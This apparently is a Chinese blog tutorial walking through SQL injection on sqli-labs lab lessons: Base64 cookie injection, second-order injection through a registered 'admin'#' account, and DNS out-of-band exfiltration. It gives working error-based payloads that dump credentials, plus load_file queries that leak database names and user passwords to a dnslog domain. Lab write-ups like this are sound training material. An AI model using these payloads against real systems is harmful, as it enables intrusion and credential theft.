当前位置: 首页 > news >正文

SQL注入之二次、加解密、DNS等注入

1.sql的加解密:sqli-labs-21

为什么会对sql注入的加解密呢其实这个去抓个包就很好理解了

用admin admin登入进去抓包后得到这样的页面

发现了Cookie: uname=YWRtaW4%3D

然后尝试去解密:得到admin

这个就是其中的注入要求,加密进去然后脚本base64解密然后传进去,才能达到我们想要的效果

然后开始注入(先把源代码写出来然后再去加密然后再传进去):

也可以把 or '1'='1 换成 or' # 格式:

1.判断是否正常回显

admin' and 1=1 #

YWRtaW4nIGFuZCAxPTEgIw==

admin' and 1=2 #

YWRtaW4nIGFuZCAxPTIgIw==

2.报错查询看查数据库的版本和名字

admin' or updatexml(1,concat(0x7e,version(),0x7e),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHZlcnNpb24oKSwweDdlKSwxKSBvciAnMSc9JzE=

admin' or updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgb3IgJzEnPScx

3.查表名

admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JykpLDEpIG9yICcxJz0nMQ==

4.查列数据:

admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSwxKSBvciAnMSc9JzE=

5.得到最终数据

admin' or updatexml(1,concat(0x7e,(select group_concat(password) from users)),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzKSksMSkgb3IgJzEnPScx

admin' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHVzZXJzKSksMSkgb3IgJzEnPScx

得到最后的数据

2.sql的二次注入:sqli-labs-24

对于sql的二次注入通常使用在有注册,登录,找回密码这种页面上面可以进行二次注入

尝试去注册一个账户,密码用户名都是1

然后去修改密码,这个时候就可以尝试二次注入(二次注入的本质是 “信任了来自数据库的数据”)(原理是因为代码前面是之前的密码,但是后面还有你最近修改的密码,我如果使用1'#,就可以实现对于之前相同用户的密码的修改,从而找到注入点)

开始尝试:

1.观察security的内容

2.注册一个用户名字为admin'#的用户,密码为123456

然后看数据库的反应

此时加入了admin'#,密码是123456的数据

3.修改admin’#的密码这个密码不是修改admin'#的数据而是修改admin的数据,原理在开头已经阐释,然后开始操作:

如果对于sql的二次注入通常使用在有注册,登录,找回密码这种页面上面可以进行二次注入,不行的话那就只有尝试盲注了

3.sql的dns注入:sqli-labs-9

sql的dns注入就是对盲注都没有回显的一种处理方式,这个也可以进行脚本跑(sqlmap利用插件)

DNS注入核心原理

核心思想: 利用数据库函数发起一个DNS解析请求,并将我们想窃取的数据作为域名的一部分。通过监控DNS查询日志,我们就能看到被窃取的数据。

攻击流程(以MySQL的 load_file() 函数为例):

  1. 构造Payload: 攻击者构造一个特殊的SQL查询。

  2. 触发查询: 存在漏洞的应用程序执行了这个查询。

  3. DNS解析: 数据库服务器尝试解析一个包含敏感数据的“域名”。

  4. 数据外带: 攻击者通过查看自己控制的DNS服务器的日志,直接看到被查询的“域名”,从而获取数据。

然后对于这道题开始尝试

1.尝试了

http://127.0.0.1:8081/Less-9/?id=1

http://127.0.0.1:8081/Less-9/?id=1'

http://127.0.0.1:8081/Less-9/?id=1' and 1=1

http://127.0.0.1:8081/Less-9/?id=1' and 1=2

然后再尝试时间盲注

?id=1' and sleep(5)--+此时反应五秒发现也没有问题但是页面还是显示的是

Welcome    Dhakkan
You are in...........

2.此时就是使用dnslog注入了:

对于dnslog的平台可以自行选择:

http://www.dnslog.cn/

https://dig.pm/

http://ceye.io/profile

http://eyes.sh/dns/等等

然后尝试:

我是用的是http://eyes.sh/dns/

1. 获取数据库名

?id=1' and load_file(concat('\\\\',(select database()),'.lllxxy.eyes.sh\\abc'))--+
  • select database() 获取当前数据库名

  • 构造UNC路径:\\数据库名.lllxxy.eyes.sh\abc

  • DNS查询会包含数据库名

2. 获取表名

?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
  • information_schema.tables获取表名

  • limit 0,1 获取第一个表

  • 可以修改limit参数遍历所有表

3. 获取列名

?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
  • information_schema.columns获取列名

  • 指定表名users

  • 获取第一个列名

4. 获取数据

?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
?id=1' and load_file(concat('\\\\',(select password from users limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
  • 从users表获取具体数据

  • 分别获取username和password字段


 

意义:

解决盲注不能回显数据---盲注比较繁琐

效率低的问题

http://www.dtcms.com/a/578109.html

相关文章:

  • 网站开发速成班免费可商用的图片素材网站
  • 打破智能家居生态壁垒,乐鑫一站式Matter解决方案实现无缝互联
  • 用 CdcUp CLI 一键搭好 Flink CDC 演练环境
  • 【云运维】zabbix管理(续)
  • centos安装ES
  • 网站子目录是什么南通制作公司网站
  • 怎样设计网站或网页怎么样在百度做网站
  • SELinux 布尔值详解:灵活调整安全策略的开关
  • 李宏毅机器学习笔记41
  • 1-GGML:看ctx是个什么东西
  • 【Java SE 基础学习打卡】02 计算机硬件与软件
  • SDIO(Secure Digital Input Output,安全数字输入输出)
  • wordpress批量下载外链图片长春网站推广优化公司
  • 在 Ubuntu 上安装 Ollama 并通过 Open WebUI 运行本地大语言模型
  • 用Python来学微积分34-定积分的基本性质及其应用
  • 如何做网站代码荥阳市城乡建设规划网站
  • Jmeter+ant+Jenkins 接口自动化框架-让jmeter脚本自己跑起来
  • 宝安区住房和建设局网站河南做网站多少钱
  • Java集合框架:深入理解List与Set及其实现类
  • 前端工程师职业规划与转型指南
  • 网站建设管理情况的通报国外工业产品设计网站
  • EventOS:面向MCU的事件驱动框架
  • 视频直播点播平台EasyDSS:打造高品质赛事直播的全链路解决方案
  • 广州网站制作哪家全面万达做的电商网站
  • C# 分部类读取学生信息
  • 分布式事务的实现方案:从理论到实践的全方位解析
  • 瑞萨RH850使用记录(三):看门狗(选项字)、AD、CAN、软复位(复位原因)
  • web应用构建与部署的本质区别
  • 源码管理 网站2021年企业所得税怎么征收
  • 建设小说网站的系统有哪些目前最新推广平台